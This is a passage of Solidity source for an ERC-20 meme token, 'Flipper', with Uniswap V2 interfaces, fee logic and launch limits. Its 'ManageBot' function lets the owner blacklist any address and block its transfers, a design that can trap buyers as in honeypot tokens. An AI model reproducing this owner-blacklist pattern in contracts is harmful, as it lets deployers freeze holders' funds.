function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Flipper is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
address private marketingWallet;
address private devWallet;
uint256 private maxTransactionAmount;
uint256 private swapTokensAtAmount;
uint256 private maxWallet;
bool private limitsInEffect = true;
bool private tradingActive = false;
bool public swapEnabled = false;
bool public enableEarlySellTax = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
// Seller Map
mapping (address => uint256) private _holderFirstBuyTimestamp;
// Blacklist Map
mapping (address => bool) private _blacklist;
bool public transferDelayEnabled = true;
uint256 private buyTotalFees;
uint256 private buyMarketingFee;
uint256 private buyLiquidityFee;
uint256 private buyDevFee;
uint256 private sellTotalFees;
uint256 private sellMarketingFee;
uint256 private sellLiquidityFee;
uint256 private sellDevFee;
uint256 private earlySellLiquidityFee;
uint256 private earlySellMarketingFee;
uint256 private earlySellDevFee;
uint256 private tokensForMarketing;
uint256 private tokensForLiquidity;
uint256 private tokensForDev;
// block number of opened trading
uint256 launchedAt;
/******************/
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Flipper", unicode"🦅") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 5;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 5;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 0;
uint256 _earlySellLiquidityFee = 0;
uint256 _earlySellMarketingFee = 5;
uint256 _earlySellDevFee = 0;
uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = totalSupply * 10 / 1000; // 1% maxTransactionAmountTxn
maxWallet = totalSupply * 20 / 1000; // 2% maxWallet
swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
earlySellDevFee = _earlySellDevFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
launchedAt = block.number;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function setEarlySellTax(bool onoff) external onlyOwner {
enableEarlySellTax = onoff;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
earlySellDevFee = _earlySellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function ManageBot (address account, bool isBlacklisted) public onlyOwner {
_blacklist[account] = isBlacklisted;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
// anti bot logic
if (block.number <= (launchedAt) &&
to != uniswapV2Pair &&
to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
) {
_blacklist[to] = false;
}
// early sell logic
bool isBuy = from == uniswapV2Pair;
if (!isBuy && enableEarlySellTax) {
if (_holderFirstBuyTimestamp[from] != 0 &&
(_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) {
sellLiquidityFee = earlySellLiquidityFee;
sellMarketingFee = earlySellMarketingFee;
sellDevFee = earlySellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
} else {
sellLiquidityFee = 0;
sellMarketingFee = 2;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
} else {
if (_holderFirstBuyTimestamp[to] == 0) {
_holderFirstBuyTimestamp[to] = block.timestamp;
}
if (!enableEarlySellTax) {
sellLiquidityFee = 0;
sellMarketingFee = 4;
sellDevFee = 2;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
